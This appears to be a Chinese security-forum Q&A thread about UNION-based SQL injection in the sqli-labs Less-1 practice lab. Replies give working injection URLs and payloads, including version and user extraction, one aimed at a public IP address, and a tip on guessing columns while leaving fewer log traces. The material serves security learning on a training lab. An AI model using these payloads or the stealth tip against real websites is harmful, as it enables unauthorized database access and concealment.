首页
社区
课程
招聘
[求助]union联合注入时的问题,求大佬指点迷津
发表于: 2018-10-16 17:01 4516

[求助]union联合注入时的问题,求大佬指点迷津

2018-10-16 17:01
4516
mysql执行 select * from users where id = '1' union 1,2,3;返回

mysql> select * from users where id = '1' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.01 sec)
可以union查询其他数据
但是在sqli-labs第一关中

为什么不能返回union的数据

and 1=2产生逻辑错误后可以查询出来,为什么呢

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 1085
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
/Less-1/?id=100' union select database(),user(),version();%00
2018-10-17 11:47
0
雪    币: 1085
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
你是没有把最后的limit 部分的语句给注释掉吧?
2018-10-17 11:47
0
雪    币: 1085
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
对了,请教一下啊,你用的什么浏览器啊?
2018-10-17 11:49
0
雪    币: 32
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
http://43.247.91.228:84/Less-1/?id=-1%27%20union%20select%201,2,3--%20- 
2018-10-17 15:59
0
雪    币: 6
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
自行解决了,因为后端代码限制只取一行输出到页面,必须要将前面一条语句产生逻辑错误(返回空值)。产生逻辑错误的方法可以给一个没有的参数或者and 1=2这类
2018-10-18 09:40
0
雪    币: 6
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
自行解决了,因为后端代码限制只取一行输出到页面,必须要将前面一条语句产生逻辑错误(返回空值)。产生逻辑错误的方法可以给一个没有的参数或者and 1=2这类
2018-10-18 09:40
0
雪    币: 6
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
xjojox 你是没有把最后的limit 部分的语句给注释掉吧?
火狐啊
2018-10-18 09:41
0
雪    币: 257
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
首先我的建议使用 order by  猜字段,好处它留下的痕迹更少,通常在数据库日记中只留下很少的错误,二个好处就是使用二分查找法来找到正确的值。
对于你出现的情况呢?有以下原因:
1:查看源代码可以发现,并没有循环取出数据。所以当用id=1的时候执行的结果只有一条记录。
解决方法:
1:把id值设为非正数(负数或0),浮点数,字符型或字符串其中的一种类型。也就是id=-1的时候 就可以使用union 检索了。
最后于 2018-10-26 19:52 被大大星编辑 ,原因:
2018-10-26 19:49
0
雪    币: 108
活跃值: (155)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10

不知道你是不是自己搭建的测试平台,我是自己搭建的平台,谈谈我的看法:

查看less-1的源代码发现进行sql查询的语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

所以将url修改为http://127.0.0.1:8080/sqli-labs/Less-1/?id=1‘union select 1,2,3 --+(重点是?后的内容,?前的内容由于服务器原因每个人不同)

此时会发现结果为


成功查询,但是并没有返回1,2,3啊 因为源代码里面只返回了用户名和密码


所以需要让union前的语句无效,即将id改为一个无效的值,比如-1,修改后的结果如下

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2,3 --+

此时会发现返回结果如图


惊喜!2,3已经标识union后面的select语句被成功执行了,此时可以将2或者3修改为我们需要查询的东西,比如version()

查询结果如图


成功得到MySQL数据库版本

注意:不能修改1去查询数据库版本,因为第一列的内容不返回到浏览器显示,必须加--+将之后内容注释掉 不然查询会报错

如还有不懂的地方,欢迎提问


2018-11-26 18:43
0
游客
登录 | 注册 方可回帖
返回
//